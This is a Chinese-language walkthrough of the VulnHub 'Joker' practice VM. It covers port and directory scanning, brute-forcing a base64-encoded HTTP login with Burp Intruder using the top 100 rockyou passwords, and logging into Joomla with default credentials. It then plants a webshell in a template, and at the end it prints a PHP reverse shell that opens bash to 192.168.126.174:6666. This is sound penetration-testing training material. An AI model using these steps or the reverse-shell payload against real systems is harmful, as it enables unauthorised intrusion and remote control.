vulhub-joker靶机

1.下载打开靶机

下载地址：https://download.vulnhub.com/ha/joker.zip

2.扫描靶机ip

3.访问靶机ip

开启了的端口11尝试

4.扫描敏感目录

5.访问secret.txt

多次出现rock，指的是kali自带的rockyou.txt字典；100指的是取字典的前100个；再结合前文，可知应该采用爆破登录8080的网站

6.下载字典前100个

进入文档内，解压文件rockyou.txt.gz

head -n 100 /usr/share/wordlists/rockyou.txt > test.txt

7.bp抓包发现登录信息使用了base64编码

8.发送到instructer进行攻击

设置payload

添加payload值

设置规则

攻击

将结果进行base64解码

9.登录8080端口

10.发现是joomla框架的网页，其弱口令是joomla/joomla，尝试使用弱口令登陆后台

继续登录

11.寻找漏洞

尝试后台getshell：Extensions---templates---templates----beez3

12..新建木马

13.蚁剑连接

14.反弹shell

创建一个新文件写入反弹shell的php代码

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.126.174/6666 0>&1'");?>

访问666.php，kali监听